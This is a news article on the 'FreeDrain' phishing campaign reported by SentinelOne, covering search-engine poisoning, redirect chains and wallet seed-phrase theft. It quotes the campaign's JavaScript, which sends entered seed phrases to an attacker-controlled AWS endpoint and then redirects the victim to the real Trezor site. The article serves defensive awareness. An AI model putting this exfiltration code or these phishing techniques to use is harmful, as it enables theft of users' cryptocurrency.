A newly uncovered cybercrime scheme known as “FreeDrain” is operating at an unprecedented scale, orchestrating widespread cryptocurrency wallet theft through a highly automated phishing infrastructure.
Unlike traditional attacks, this operation exploits search engine algorithms and free web hosting platforms to build a vast, convincing network of fake websites designed to deceive users actively seeking cryptocurrency wallet tools and information.
The scam is triggered when users input search terms like “check Trezor balance” or “download Ledger Live,” unknowingly clicking on counterfeit sites that mimic legitimate platforms, leading to credential theft and asset loss.
Deceptive Trezor Wallet Balance Listings Lead Users Into FreeDrain’s Phishing Maze
(Source: SentinelOne)
Unsuspecting users who click on top-ranked search engine results for wallet-related queries are being funneled into a well-disguised trap. These polished results, often positioned prominently on the first page, direct victims to pages that initially appear informative or official.
At first glance, these decoy pages present what looks like a helpful visual—a full-screen mock-up of a genuine wallet interface. But behind the scenes, a chain of hidden redirects silently shuffles users from one domain to another, ultimately landing them on a sophisticated phishing site engineered to capture their seed phrases.
The true scale of this operation came to light when SentinelOne, working with Validin, revealed their findings at PIVOTcon 2025. Their research exposed more than 38,000 FreeDrain-connected subdomains, each tailored to impersonate legitimate services and mislead users.
The investigation was prompted by a high-stakes loss: a user who mistakenly submitted their credentials on a counterfeit Trezor site reported an 8 BTC theft—worth roughly half a million dollars.
“FreeDrain isn’t just a phishing kit—it’s a full-scale playbook for cybercriminals,” said Tom Hegel, Principal Threat Researcher at SentinelOne. “Its strength lies in how seamlessly it blends into legitimate ecosystems, using free hosting tools to bypass scrutiny and stay one step ahead of takedown efforts.”
Inside the Scam: How FreeDrain’s Deception Works
This operation is far from amateur. FreeDrain deploys a layered technical setup: when a user clicks a poisoned search result hosted on domains like gitbook.io or webflow.io, they’re first met with a static replica of a trusted wallet interface. From there, a silent redirection mechanism guides them toward the final phishing endpoint—where their digital assets are moments away from being stolen.
Dissecting the FreeDrain Attack Sequence
(Source: SentinelOne)
The phishing journey begins with a deceptive click—users are enticed to engage with what looks like a legitimate wallet image. That single action launches a cascade of stealthy redirects through domains generated by algorithms, sporting names like “shotheatsgnovel.com” or “bildherrywation.com,” designed to evade detection and confuse investigation efforts.
At the end of this path lies a fraudulent site, indistinguishable to the average user. Here, the real damage occurs.
Behind the scenes, the attack leverages cleartext JavaScript—no obfuscation, no frills—just efficient code meant to exfiltrate seed phrases directly to attacker-controlled infrastructure.
One example of the data-theft script is deceptively simple:
javascript
const data = {};
inputs.forEach((input, index) => {
data[phrase${index}] = input.value.trim();
});
data.subject = “Trezor connect2”;
data.message = “Successfull fetch data”;
$.ajax({
type: “POST”,
url: “https://rfhwuwixxi.execute-api.us-east-1.amazonaws[.]com/pro”,
datatype: “json”,
crossDomain: true,
contentType: “application/json; charset=utf-8”,
data: JSON.stringify(data),
success: function () {
window.location.href = ‘https://suite.trezor.io/web/’;
},
error: function () {
window.location.href = ‘https://suite.trezor.io/web/’;
}
});
Once a user inputs their seed phrase, it’s quietly shipped off to a malicious AWS endpoint. In a final stroke of misdirection, victims are seamlessly redirected to the legitimate Trezor interface—none the wiser that their credentials have just been stolen.
A Look Behind the Curtain: Structured Cybercrime in Action
An in-depth review of FreeDrain’s backend infrastructure and behavioral patterns reveals this isn’t the work of disorganized amateurs. Indicators point to a group operating within the UTC+05:30 time zone (likely Indian Standard Time), keeping conventional weekday hours and even exhibiting patterns consistent with lunch breaks.
This level of scheduling and consistency strongly suggests a disciplined, possibly professionalized team orchestrating these attacks—not opportunists, but operators running a phishing campaign like a full-time business.
